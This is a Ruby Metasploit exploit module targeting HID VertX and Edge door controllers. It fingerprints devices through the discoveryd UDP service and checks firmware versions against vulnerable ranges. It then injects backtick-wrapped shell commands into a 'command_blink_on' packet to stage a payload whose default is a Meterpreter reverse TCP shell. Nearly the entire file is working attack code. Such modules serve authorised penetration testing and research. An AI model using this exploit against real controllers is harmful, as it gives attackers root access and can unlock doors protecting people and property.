##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HID discoveryd command_blink_on Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated remote command execution
          vulnerability in the discoveryd service exposed by HID VertX and Edge
          door controllers.

          This module was tested successfully on a HID Edge model EH400
          with firmware version 2.3.1.603 (Build 04/23/2012).
        },
        'Author' => [
          'Ricky "HeadlessZeke" Lawshae', # Discovery
          'coldfusion39', # VertXploit
          'bcoles' # Metasploit
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_ARMLE,
        'Privileged' => true,
        'References' => [
          ['ZDI', '16-223'],
          ['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],
          ['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],
          ['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],
          ['URL', 'https://github.com/lixmk/Concierge'],
          ['URL', 'https://github.com/coldfusion39/VertXploit']
        ],
        'DisclosureDate' => '2016-03-28',
        'DefaultOptions' => {
          'WfsDelay' => 30,
          'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
          'CMDSTAGER::FLAVOR' => 'echo'
        },
        'Targets' => [['Automatic', {}]],
        'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options [ Opt::RPORT(4070) ]
  end

  def check
    connect_udp
    udp_sock.put 'discover;013;'
    res = udp_sock.get(5)
    disconnect_udp

    if res.to_s.eql? ''
      vprint_error 'Connection failed'
      return CheckCode::Unknown('No response received from HID discoveryd service')
    end

    hid_res = parse_discovered_response res
    unless hid_res
      vprint_error 'Unexpected response from target'
      return CheckCode::Unknown('Unexpected response from target')
    end

    if hid_res[:mac].eql? ''
      vprint_error 'Malformed response'
      return CheckCode::Unknown('Received malformed response from target')
    end

    @mac = hid_res[:mac]

    vprint_good "#{Rex::Socket.to_authority(rhost, rport)} - HID discoveryd service detected"
    vprint_line hid_res.to_s
    report_service(
      host: rhost,
      mac: hid_res[:mac],
      port: rport,
      proto: 'udp',
      name: 'hid-discoveryd',
      info: hid_res
    )

    if hid_res[:version].to_s.eql? ''
      vprint_error "#{Rex::Socket.to_authority(rhost, rport)} - Could not determine device version"
      return CheckCode::Detected('HID discoveryd service detected but firmware version could not be determined')
    end

    # Vulnerable version mappings from VertXploit
    vuln = false
    version = Rex::Version.new(hid_res[:version].to_s)
    case hid_res[:model]
    when 'E400'     # EDGEPlus
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'EH400'    # EDGE EVO
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'EHS400'   # EDGE EVO Solo
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'ES400'    # EDGEPlus Solo
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'V2-V1000' # VertX EVO
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'V2-V2000' # VertX EVO
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'V1000'    # VertX Legacy
      vuln = true if version <= Rex::Version.new('2.2.7.568')
    when 'V2000'    # VertX Legacy
      vuln = true if version <= Rex::Version.new('2.2.7.568')
    else
      vprint_error "#{Rex::Socket.to_authority(rhost, rport)} - Device model was not recognized"
      return CheckCode::Detected('HID discoveryd service detected but device model was not recognized')
    end

    vuln ? CheckCode::Appears("HID #{hid_res[:model]} version #{hid_res[:version]} is in the vulnerable range") : CheckCode::Safe("HID #{hid_res[:model]} version #{hid_res[:version]} is not in the vulnerable range")
  end

  def send_command(cmd)
    connect_udp

    # double escaping for echo -ne stager
    encoded_cmd = cmd.gsub("\\", "\\\\\\")

    # packet length (max 44)
    len = '044'

    # <num> of times to blink LED, if the device has a LED; else
    # <num> second to beep (very loudly) if the device does not have a LED
    num = -1 # no beep/blink ;)

    # construct packet
    req = ''
    req << 'command_blink_on;'
    req << "#{len};"
    req << "#{@mac};"
    req << "#{num}`#{encoded_cmd}`;"

    # send packet
    udp_sock.put req
    res = udp_sock.get(5)
    disconnect_udp

    unless res.to_s.start_with? 'ack;'
      fail_with Failure::UnexpectedReply, 'Malformed response'
    end
  end

  def execute_command(cmd, opts)
    # the protocol uses ';' as a separator,
    # so we issue each system command separately.
    # we're using the echo command stager which hex encodes the payload,
    # so there's no risk of replacing any ';' characters in the payload data.
    cmd.split(';').each do |c|
      send_command c
    end
  end

  def exploit
    print_status "#{Rex::Socket.to_authority(rhost, rport)} - Connecting to target"

    check_code = check
    unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
      fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
    end

    # linemax is closer to 40,
    # however we need to account for additinal double escaping
    execute_cmdstager linemax: 30, :temp => '/tmp'
  end

  def parse_discovered_response(res)
    info = {}

    return unless res.start_with? 'discovered'

    hid_res = res.split(';')
    return unless hid_res.size == 9
    return unless hid_res[0] == 'discovered'
    return unless hid_res[1].to_i == res.length

    {
      :mac => hid_res[2],
      :name => hid_res[3],
      :ip => hid_res[4],
      # ?           => hid_res[5], # '1'
      :model => hid_res[6],
      :version => hid_res[7],
      :version_date => hid_res[8]
    }
  end
end
